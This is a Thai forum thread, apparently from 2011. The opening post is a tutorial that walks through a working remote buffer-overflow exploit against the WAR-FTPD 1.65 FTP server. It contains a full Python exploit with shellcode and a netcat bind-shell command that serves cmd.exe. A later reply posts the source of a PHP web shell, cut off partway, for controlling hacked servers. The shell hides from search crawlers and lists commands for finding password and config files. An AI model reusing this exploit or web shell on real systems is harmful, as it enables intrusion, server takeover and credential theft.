ยินดีต้อนรับคุณ, บุคคลทั่วไป กรุณา เข้าสู่ระบบ หรือ ลงทะเบียน

เข้าสู่ระบบด้วยชื่อผู้ใช้ รหัสผ่าน และระยะเวลาในเซสชั่น

ThaiSEOBoard.comไทย เสียว บอร์ดTutorial (ห้ามตั้งคำถามห้องนี้)Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในท
หน้า: [1] 2 3   ลงล่าง
พิมพ์
ผู้เขียน หัวข้อ: Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในท  (อ่าน 12860 ครั้ง)
0 สมาชิก และ 1 บุคคลทั่วไป กำลังดูหัวข้อนี้
mayaseven
Newbie
*

พลังน้ำใจ: 35
ออฟไลน์ ออฟไลน์

กระทู้: 25



ดูรายละเอียด เว็บไซต์
« เมื่อ: 02 เมษายน 2011, 23:52:15 »

How to hack back to the basic

Hack ยังไง Hacker เขาทำยังไง คำถามนี้จะถูกตอบในที่นี้ !!!!!!!!!

สามารถดูวิดีโอเพิ่มเติมได้ที่ : http://mayaseven.blogspot.com/...-to-hack-back-to-basic_07.html

    ในบทความครั้งนี้ผมจะมานำเสนอสิ่งที่เป็นที่สงสัยกันมากแต่ไม่รู้จะหาคำตอบที่ไหน สงสัยว่า Hacker เนี่ยเขาทำอะไร เขา Hack ยังไง บทความนี้น่าจะเป็นบทความภาษาไทยครั้งแรกๆในไทยที่ออกมาแฉอย่างละเอียด และผมอยากให้ทุกคนสามารถอ่านเข้าใจได้แม้ว่าเรื่องราวมันจะค่อนข้างซับซ้อน ผมจึงได้ลดคำศัพท์ยากเๆและอธิบายด้วยภาษาบ้านๆให้ทุกคนสามารถเข้าใจได้ซึ่งบ้างจุดอาจจะไม่ตรงเป๊ะแต่เพื่อให้ผู้อ่านเข้าใจง่าย ผมอยากให้คนอ่านได้ Concept เป็นพอครับ ไม่งั้นได้อธิบายกันเป็นมหากาพย์แน่ๆ

ผมจะแนะนำ Tools ในตำนานตัวหนึ่งซึ่งมีประโยชน์มากๆ ในการเรียนรู้การทำงานของ Network และการเปิด Service ต่างๆ ซึ่งสามารถนำความรู้ไปเป็นแนวทางในงานด้าน Network Programming ได้ผมหวังว่าบทความนี้จะจุดประกายความคิดให้ใครสักคน ซึ่งนั้นก็ถือว่าประสบความสำเร็จแล้ว

    เริ่มจากวันหนึ่งในขณะที่ผมกำลังเรียนวิชา DATA STRUCTURES AND ALGORITHMS อยู่นั้นอาจารย์ที่สอนได้ถามคำถามเกี่ยวกับ Code โปรแกรมสองสามข้อ ปรากฏว่าไม่มีนักศึกษาคนไหนตอบได้เลย อาจารย์แกก็เลยบ่นๆว่า "ทักษะ Programming เนี่ยมันไม่ใช่จรวดนำวิถี มันไม่ใช่ที่สุดของวิศวคอม แต่มันเปรียบเสมือนมีดพกที่สามารถนำมาใช้แก้ปัญหาต่างๆได้ตลอดเวลา" หลังจากได้ฟังคิดในใจ "จารย์คิดได้ไงฟ่ะ คมหว่ะ ฮ่าาา" วันนี้ผมก็เลยจะมานำเสนอ "มีดพก" ในงานด้าน Network ซึ่งมันทำงานได้ทุกอย่างเปรียบเสมือนเรามีมีดพกเวลาเราเดินป่าทีเดียว โดยสิ่งที่ผมจะมานำเสนอมันมีชื่อว่า netcat ขนาดไม่กี่ KB แต่ความสามารถนั้นเกินขนาดมากๆ

Link download :

http://www.downloadnetcat.com/nc11nt.zip       <<< Windows version

http://www.downloadnetcat.com/netcat-0.7.1.tar.gz   <<< Linux version

link ข้างบนนั้นเป็น link download เจ้า netcat กับ source code ของมันซึ่งมันถูกเขียนขึ้นมาด้วยภาษา C อายุของเจ้า netcat นี้ก็ราวๆเกือบสิบปีแต่ก็ยังนำมาใช้งานจนถึงปันจุบัน (ยิ่งเป็นด้าน IT ด้วยไม่เทพจริงอยู่ไม่ได้นานขนาดนี้หรอก ^^)

สำหรับการใช้งานของเจ้าตัว netcat นั้นจะแบ่งออกเป็น 2 ส่วนนะครับคือ

1.ใช้เป็น Server คำสั่งในการใช้งานเบื้องต้น 'nc -lp [port]'    <<< ทำการเปิด [port] เช่น 'nc -l 123' ก็จะทำการเปิด service บน port 123

2.ใช้เป็น Client คำสั่งในการใช้งานเบื้องต้น 'nc [target IP] [port]' <<< ทำการ connect ไปยัง IP และ port นั้นๆ

การประยุกต์ใช้งาน

1.เปิด Web Service(เบื้องต้น)

2.Chat

3.File tranfer

4.Spoof

5.Remote Buffer Overflow Huh???(ผมจะโชว์อันนี้แล้วกัน!!!)

6........

Remote Buffer Overflow คืออะไร เอา Buffer Overflow ก่อนละกันมันคือการทำให้ Virtual Memory ของโปรแกรมที่กำลังทำงานอยู๋นั้นเกิดการล้นซึ่งมันจะล้นไปทับในส่วนอื่นของโปรแกรมที่กำลังทำงานอยู่ผลโดยทั่วไปก็คือจะทำให้โปรแกรม Crash นั้นเอง ส่วน Remote Buffer Overflow ก็คือการทำให้เจ้า Virtual Memory นั้นล้นทับส่วนอื่นของโปรแกรมเหมือนกันแต่เป็นการทำจากระยะไกลหรือเครื่องอื่นนั้นเอง

ถามว่าเราจะทำได้แค่ให้มัน Crash แค่นั้นหรือปล่าว คำตอบคือเหนือกว่านั้นเยอะสิ่งนี้ทำให้ผมถึงกลับหลงใหลมันจนถึงปัจจุบันเลยทีเดียว คือเราจะเข้ายึด Flow ในการทำงานของโปรแกรมที่กำลังทำงานอยู่ให้มันแปลงร่าง backdoor แทนเพื่อให้เราสามารถเจาะเข้าไปได้แทน !!!

เอาล่ะเรามาเริ่มกันเลย

เริ่มจากมี Windows Server เครื่องหนึ่ง Run Service ต่างๆอยู่ ตามนี้


โดย Service ที่เราจะโจมตีครั้งนี้คือ FTP Server โดยทดสอบการ Connect ได้ผลตามนี้

root@bt:~/bof# nc 10.66.244.196 21

220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready

220 Please enter your user name.

User anonymous # ผมลอง login ด้วย anonymous แต่ปรากฏว่าไม่ได้

421- Anonymous access not allowed.

421 Control connection closed.

ขั้นต่อไปเราจะลอง Overflow ในส่วนของ Input Username โดยเราจะลองใส่ Username ให้มีความยาว 777 ตัวอักษรซึ่งในที่นี้ผมเขียนสคริปขึ้นมาป้อน Input เอา(ไม่ไหวจะกด ==")

โดย Script ของผมมี Code ดังนี้

#!/usr/bin/env python

print 'USER '+'w'*777

ตั้งชื่อ Script นี้ว่า overflow1.py หลังจาก run ผลได้ตามนี้

root@bt:~/bof# python overflow1.py | nc 10.66.244.196 21

220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready

220 Please enter your user name.

331 User name okay, Need password.

^C

หลังจากนั้นผมได้ลอง Connect เข้าไปอีกที ปรากฏว่า !!!

root@bt:~/bof# nc 10.66.244.196 21

(UNKNOWN) [10.66.244.196] 21 (ftp) : Connection refused

โอ้วโนนนน Service นั้น Crash ไปแล้วโอ้บระเจ้าโจ๊ก !

ทีนี้เราจะมาดูในฝั่งของ Windows Server ว่าเกิดอะไรขึ้น ตามรูป


โอ้วโนนนน(อีกรอบ) Stack Memory ล้น จนไปทับ EIP แล้ว

หมายเหตุ ESP คือ Pointer ที่ Stack สูงสุดอยู่ในที่นี้คือ 0098FD8C

EIP คือ Pointer ที่ชี้ไปยังตำแหน่งของคำสั่งที่จะทำงานต่อไป ในที่นี้โดน Stack Memory ล้นทับจนมีค่าเป็น 0x7777777 โดยที่เลข 77 คือค่า ASCII ของตัวอักษร 'w' ที่ผมส่งไป 777 ตัว

ทีนี้เราก็รู้สาเหตุที่มัน Crash แล้ว ตอนนี้เราสามารถควบคุม EIP ให้ชี้ไปที่ไหนก็ได้ หึๆ

จะเป็นยังไงถ้าเราชี้ไปที่ตำแหน่งที่เราฝั่งเจ้า Code วายร้ายเอาไว้!!!! อาจจะยังไม่เห็นภาพมาดูกันเลย

ขั้นตอนต่อไปเราก็มานั้งไล่หาว่าส่งไปกี่ตัวมันถึงจะไปทับเจ้า EIP เป๊ะๆเพื่อจะได้เปลี่ยนเจ้า EIP ให้ชี้ไปที่ตำแหน่งที่เราต้องการ โดยครั้งนี้เราจะแนบเจ้า Code วายร้ายไปด้วยโดนชื่ออย่างเป็นทางการเขาเรียกมันกันว่า ShellCode โดยเจ้า Code วายร้ายนี้ก็ไม่ใช่ใครอื่นไกลมันคือเจ้า nc ในโหมด Server นั้นเอง(ในบทความนี้) เพื่อไปเปิด Connection ให้เราสามารถเจาะเข้าไปได้

หมายเหตุ เจ้า nc ในโหมดวายร้ายคือ "nc -l -p 4444 -e C:\winnt\system32\cmd.exe" อธิบายแบบบ้านๆคือมันจะเปิด port 4444 แล้วเมื่อเรา connect เข้าไปเราก็จะได้ Shell ของเครื่องเป้าหมายนั้นเองแต่เราต้องแปลงร่างเจ้า nc ในโหมดวายร้ายให้เป็นภาษาเครื่องซะก่อนเพื่อให้มันทำงานได้โดยตรงเมื่อ EIP Pointer ชี้ไปให้มันทำงาน แปลงร่างได้ Code ประมาณนี้

shellcode = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"

shellcode += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"

shellcode += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"

shellcode += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"

shellcode += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"

shellcode += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"

shellcode += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"

shellcode += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"

shellcode += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"

shellcode += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"

shellcode += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"

shellcode += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"

shellcode += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"

shellcode += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"

shellcode += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"

shellcode += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"

shellcode += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"

shellcode += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"

shellcode += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"

shellcode += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"

shellcode += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"

shellcode += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"

shellcode += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"

shellcode += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"

shellcode += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

และนี้คือที่มาของคำว่า ShellCode ขออภัยที่จำที่มาของเจ้า ShellCode ตัวนี้ไม่ได้ =="

ที่นี้เราก็จะทำการส่งเจ้า Code นี้ไป Run ที่เครื่องเป้าหมายซะ แต่เราจะส่งไป Run แบบเหนือชั้นกว่าการส่งโทรจันไปหลอกให้เหยื่อรันแบบในสมัยก่อนนะเธอว์

ขั้นต่อไปเราก็มาเขียน Code เพื่อส่งมันไป Run

#!/usr/bin/env python

# Video : [PoC] http://www.youtube.com/user/mayaseven

shellcode = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"

shellcode += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"

shellcode += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"

shellcode += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"

shellcode += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"

shellcode += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"

shellcode += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"

shellcode += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"

shellcode += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"

shellcode += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"

shellcode += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"

shellcode += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"

shellcode += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"

shellcode += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"

shellcode += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"

shellcode += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"

shellcode += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"

shellcode += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"

shellcode += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"

shellcode += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"

shellcode += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"

shellcode += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"

shellcode += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"

shellcode += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"

shellcode += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

print 'USER '+'w'*485+"\x8b\x89\xe8\x77"+"\x90"*16+shellcode

โดยผมเซฟมันชื่อว่า overflow2.py ทีนี้ผมจะอธิบาย Code ของผมสักหน่อย

'w'*485 ส่วนนี้คือ buffer ที่พอดีให้อีก 4 Byte ข้างหน้าลง EIP

"\x8b\x89\xe8\x77" ส่วนนี้คือส่วนที่จะลง EIP พอดีเพื่อให้ JUMP ไป Run ShellCode จริงๆแล้วมันเรียงกับด้านด้วยเหตุผลของสถาปัตยกรรม endian กับ little endian

"\x90"*16 ส่วนนี้คือส่วนล่อเป้าเป็นเทคนิค NOP Sled คือประมาณว่า JUMP มาแล้วถึงไม่ตรงเป้าก็ให้มันลงตรง NOP นี่แระละฟ่ะมันจะได้ทำงานต่อไปจนถึง ShellCode โดยไม่ Crash ซะก่อน เออลืมบอก NOP คือ No Operation คือถ้า EIP ชี้มาตรงนี้มันก็จะเลื่อนไปตำแหน่งต่อไป

shellcode ก็คือเจ้า nc ในโหมดวายร้ายนั้นเองนะเธอว์ (อาจจะ Abstract ซักหน่อยจินตนาการเอาละกันไม่รู้จะอธิบายยังไงให้ดีฟ่านี้แล้ว)

มาขั้นสุดท้ายยิงมันนนนนนนนนนนนน



เรียบร้อยควบคุม Server เป้าหมายได้แล้ว ที่เหลือก็ หึๆๆๆ

วิธีป้องกัน
 1.มันจะอยู่ในส่วนตั้งแต่การพัฒนาโปรแกรมเลยครับ คือต้องเขียนโปรแกรมให้รอบคอบจัดการ Memory ให้ดี และถ้าเป็นโปรแกรมที่ต้องให้ความสำคัญมากก็อาจจะจ้าง Hacker มาตรวจสอบก่อนที่จะปล่อยให้โปรแกรมนั้นออกไปใช้งานจริง เช่น Bank
 2.สำหรับการป้องกันของผู้ใช้ทั่วไปคือตาม Update patch ของโปรแกรมนั้นๆให้ทันสมัยอยู่เสมอครับคือ Vendor เขา Update แก้ช่องโหว่ให้แล้วแต่เราไม่ไป Update มันก็นะ ...

ปล.เพื่อการศึกษาเท่านั้น !!! No Grean

#เขียนโดย MaYaSeVeN http://mayaseven.blogspot.com
#อนุญาติให้ Copy ไปโพสต่อที่ไหนก็ได้แต่ต้องแนบเครดิตด้วยนะครับ
« แก้ไขครั้งสุดท้าย: 10 เมษายน 2011, 01:13:28 โดย mayaseven » บันทึกการเข้า
pollok
Verified Seller
สมุนแก๊งเสียว
*

พลังน้ำใจ: 44
ออฟไลน์ ออฟไลน์

กระทู้: 505



ดูรายละเอียด เว็บไซต์
« ตอบ #1 เมื่อ: 03 เมษายน 2011, 00:13:24 »

ใส่ลิ้งค์ได้ด้วยหรือเปล่าน้า  wanwan016
บันทึกการเข้า

รับทำเว็บไซต์ด้วย PHP HTML CSS JQUERY (ด้วยมืออาชีพ)
รับออกแบบเว็บไซต์ ด้วยทีมงานมืออาชีพ (PM ขอชมผลงาน)
ตัดแบบจาก PSD ด้วย Html + Css + Table Less และสามารถทำให้แสดงผลแบบ Cross Browser
- Bootstrap
- OpenCart
- และอื่นๆ
Railway
สมุนแก๊งเสียว
*

พลังน้ำใจ: 47
ออฟไลน์ ออฟไลน์

กระทู้: 605



ดูรายละเอียด
« ตอบ #2 เมื่อ: 03 เมษายน 2011, 00:15:15 »

พี่แกใส่ลายเซ็นตั้งแต่กระทู้แรกเลยวุ้ย.... Tongue
บันทึกการเข้า

mayaseven
Newbie
*

พลังน้ำใจ: 35
ออฟไลน์ ออฟไลน์

กระทู้: 25



ดูรายละเอียด เว็บไซต์
« ตอบ #3 เมื่อ: 03 เมษายน 2011, 00:20:35 »

หมายถึงใส่ link ในลายเซ็นต์รึป่าวครับถ้าใช่ผมเอาออกให้แล้วนะครับ ขออภัยที่ไม่ได้อ่านกฏ  wanwan017
บันทึกการเข้า
marknary
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 273
ออฟไลน์ ออฟไลน์

กระทู้: 1,134



ดูรายละเอียด
« ตอบ #4 เมื่อ: 03 เมษายน 2011, 16:47:31 »

โหเจ๋งแฮะ ว่าแต่เรียนที่ไหนหว่า
บันทึกการเข้า
darksammer
Verified Seller
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 145
ออฟไลน์ ออฟไลน์

กระทู้: 2,759



ดูรายละเอียด เว็บไซต์
« ตอบ #5 เมื่อ: 03 เมษายน 2011, 16:51:41 »

เห็นภาพเลยทีเดียว Tongue
บันทึกการเข้า

Tanut007
เจ้าพ่อบอร์ดเสียว
*

พลังน้ำใจ: 334
ออฟไลน์ ออฟไลน์

กระทู้: 3,647



ดูรายละเอียด เว็บไซต์
« ตอบ #6 เมื่อ: 03 เมษายน 2011, 17:03:13 »

Web มีประโยชน์ เอาไปต่อยอดได้เยอะเลยครับ
บันทึกการเข้า

redbulls
Verified Seller
หัวหน้าแก๊งเสียว
*

พลังน้ำใจ: 190
ออฟไลน์ ออฟไลน์

กระทู้: 2,079



ดูรายละเอียด เว็บไซต์
« ตอบ #7 เมื่อ: 03 เมษายน 2011, 17:05:38 »

งง มากมาย แต่ก็ขอบคุณ สำหรับ ความรู้คับ งงมากๆ  Tongue
บันทึกการเข้า

pondkung007
คนรักเสียว
*

พลังน้ำใจ: 13
ออฟไลน์ ออฟไลน์

กระทู้: 138



ดูรายละเอียด
« ตอบ #8 เมื่อ: 03 เมษายน 2011, 17:25:51 »

เจ๋งครับ แต่ ผม งง แหะๆ  Tongue
บันทึกการเข้า
KhunHen
Verified Seller
ก๊วนเสียว
*

พลังน้ำใจ: 113
ออฟไลน์ ออฟไลน์

กระทู้: 220



ดูรายละเอียด เว็บไซต์
« ตอบ #9 เมื่อ: 03 เมษายน 2011, 17:29:17 »

ขอบคุณครับ
แล้วมันมีวิธีป้องกันไหมครับ

ใช้ firewall นี้พอจะป้องกัน port ที่มันจะเปิดเพิ่มมาได้ไหมครับ
บันทึกการเข้า
manisits
Newbie
*

พลังน้ำใจ: 9
ออฟไลน์ ออฟไลน์

กระทู้: 40



ดูรายละเอียด
« ตอบ #10 เมื่อ: 03 เมษายน 2011, 18:11:11 »

Hack อะไรหรอ Tongue
บันทึกการเข้า

รอครบ 100 โพสก่อน ค่อยใส่ links
mayaseven
Newbie
*

พลังน้ำใจ: 35
ออฟไลน์ ออฟไลน์

กระทู้: 25



ดูรายละเอียด เว็บไซต์
« ตอบ #11 เมื่อ: 03 เมษายน 2011, 21:35:33 »

คืออันนี้โจมตี port ที่เปิดให้บริการครับ(port ที่Firewall allow) สำหรับคนที่ยังไม่เข้าใจผมกำลังทำวิดีโอกับอธิบายในส่วน ทฤฏษี เพิ่มเป็น Episode อยู่ครับติดตามได้ต่อไป wanwan011
บันทึกการเข้า
luxx
ก๊วนเสียว
*

พลังน้ำใจ: 4
ออฟไลน์ ออฟไลน์

กระทู้: 224



ดูรายละเอียด เว็บไซต์
« ตอบ #12 เมื่อ: 03 เมษายน 2011, 21:44:33 »

อันนี้ Code ที่สดวกกว่าเมื่อ Hack ไปใน Server หรือ Host ได้แล้ว

โค๊ด:
<?php # Web Shell by boff

$auth_pass "";

$color "#df5";

$default_action 'FilesMan';

$default_use_ajax true;

$default_charset 'Windows-1251';



if(!empty(
$_SERVER['HTTP_USER_AGENT'])) {

    
$userAgents = array("Google""Slurp""MSNBot""ia_archiver""Yandex""Rambler");

    if(
preg_match('/' implode('|'$userAgents) . '/i'$_SERVER['HTTP_USER_AGENT'])) {

        
header('HTTP/1.0 404 Not Found');

        exit;

    }

}



@
session_start();

@
ini_set('error_log',NULL);

@
ini_set('log_errors',0);

@
ini_set('max_execution_time',0);

@
set_time_limit(0);

@
set_magic_quotes_runtime(0);

@
define('BOFF_VERSION''1.0');



if(
get_magic_quotes_gpc()) {

function BOFFstripslashes($array) {

return is_array($array) ? array_map('BOFFstripslashes'$array) : stripslashes($array);

}

$_POST BOFFstripslashes($_POST);

}



function 
BOFFLogin() {

die("<pre align=center><b>Authorization</b><br>?0ff //3? $|-|311 1.0<br><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");

}



if(!isset(
$_SESSION[md5($_SERVER['HTTP_HOST'])]))

if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )

$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;

else

BOFFLogin();



if(
strtolower(substr(PHP_OS,0,3)) == "win")

$os 'win';

else

$os 'nix';



$safe_mode = @ini_get('safe_mode');

if(!
$safe_mode)

    
error_reporting(0);



$disable_functions = @ini_get('disable_functions');

$home_cwd = @getcwd();

if(isset(
$_POST['c']))

@chdir($_POST['c']);

$cwd = @getcwd();

if(
$os == 'win') {

$home_cwd str_replace("""/"$home_cwd);

$cwd str_replace("""/"$cwd);

}

if( 
$cwd[strlen($cwd)-1] != '/' )

$cwd .= '/';



if(!isset(
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))

    
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];



if(
$os == 'win')

$aliases = array(

"List Directory" => "dir",

    
"Find index.php in current dir" => "dir /s /w /b index.php",

    
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",

    
"Show active connections" => "netstat -an",

    
"Show running services" => "net start",

    
"User accounts" => "net user",

    
"Show computers" => "net view",

"ARP Table" => "arp -a",

"IP Configuration" => "ipconfig /all"

);

else

$aliases = array(

  
"List dir" => "ls -lha",

"list file attributes on a Linux second extended file system" => "lsattr -va",

  
"show opened ports" => "netstat -an | grep -i listen",

        
"process status" => "ps aux",

"Find" => "",

  
"find all suid files" => "find / -type f -perm -04000 -ls",

  
"find suid files in current dir" => "find . -type f -perm -04000 -ls",

  
"find all sgid files" => "find / -type f -perm -02000 -ls",

  
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",

  
"find config.inc.php files" => "find / -type f -name config.inc.php",

  
"find config* files" => "find / -type f -name "config*"",

  
"find config* files in current dir" => "find . -type f -name "config*"",

  
"find all writable folders and files" => "find / -perm -2 -ls",

  
"find all writable folders and files in current dir" => "find . -perm -2 -ls",

  
"find all service.pwd files" => "find / -type f -name service.pwd",

  
"find service.pwd files in current dir" => "find . -type f -name service.pwd",

  
"find all .htpasswd files" => "find / -type f -name .htpasswd",

  
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",

  
"find all .bash_history files" => "find / -type f -name .bash_history",

  
"find .bash_history files in current dir" => "find . -type f -name .bash_history",

  
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",

  
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",

"Locate" => "",

  
"locate httpd.conf files" => "locate httpd.conf",

"locate vhosts.conf files" => "locate vhosts.conf",

"locate proftpd.conf files" => "locate proftpd.conf",

"locate psybnc.conf files" => "locate psybnc.conf",

"locate my.conf files" => "locate my.conf",

"locate admin.php files" =>"locate admin.php",

"locate cfg.php files" => "locate cfg.php",

"locate conf.php files" => "locate conf.php",

"locate config.dat files" => "locate config.dat",

"locate config.php files" => "locate config.php",

"locate config.inc files" => "locate config.inc",

"locate config.inc.php" => "locate config.inc.php",

"locate config.default.php files" => "locate config.default.php",

"locate config* files " => "locate config",

"locate .conf files"=>"locate '.conf'",

"locate .pwd files" => "locate '.pwd'",

"locate .sql files" => "locate '.sql'",

"locate .htpasswd files" => "locate '.htpasswd'",

"locate .bash_history files" => "locate '.bash_history'",

"locate .mysql_history files" => "locate '.mysql_history'",

"locate .fetchmailrc files" => "locate '.fetchmailrc'",

"locate backup files" => "locate backup",

"locate dump files" => "locate dump",

"locate priv files" => "locate priv"

);



function 
BOFFHeader() {

if(empty($_POST['charset']))

$_POST['charset'] = $GLOBALS['default_charset'];

global $color;

echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" $_POST['charset'] . "'><title>" $_SERVER['HTTP_HOST'] . " - BOFF " BOFF_VERSION ."</title>

<style>

body{background-color:#000028;color:#e1e1e1;}

body,td,th{ border:1px outset black;font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }

table.info{ border-left:5px solid #df5;color:#fff;background-color:#000028; }

span,h1,a{ color: #df5 !important; }

span{ font-weight: bolder; }

h1{ border-left:7px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#000028;margin:0px; }

div.content{ padding: 7px;margin-left:7px;background-color:#333; }

a{ text-decoration:none; }

a:hover{ text-decoration:underline; }

.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }

.bigarea{ width:100%;height:250px; }

input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }

form{ margin:0px; }

#toolsTbl{ text-align:center; }

.toolsInp{ width: 300px }

.main th{text-align:left;background-color:#003300;}

.main tr:hover{border:2px outset gray;;background-color:#5e5e5e}

.l1{background-color:#444}

.l2{background-color:#333}

pre{font-family:Courier,Monospace;}

</style>

<script>

    var c_ = '" 
htmlspecialchars($GLOBALS['cwd']) . "';

    var a_ = '" 
htmlspecialchars(@$_POST['a']) ."'

    var charset_ = '" 
htmlspecialchars(@$_POST['charset']) ."';

    var p1_ = '" 
. ((strpos(@$_POST['p1'],"n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';

    var p2_ = '" 
. ((strpos(@$_POST['p2'],"n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';

    var p3_ = '" 
. ((strpos(@$_POST['p3'],"n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';

    var d = document;

function set(a,c,p1,p2,p3,charset) {

if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;

if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;

if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;

if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;

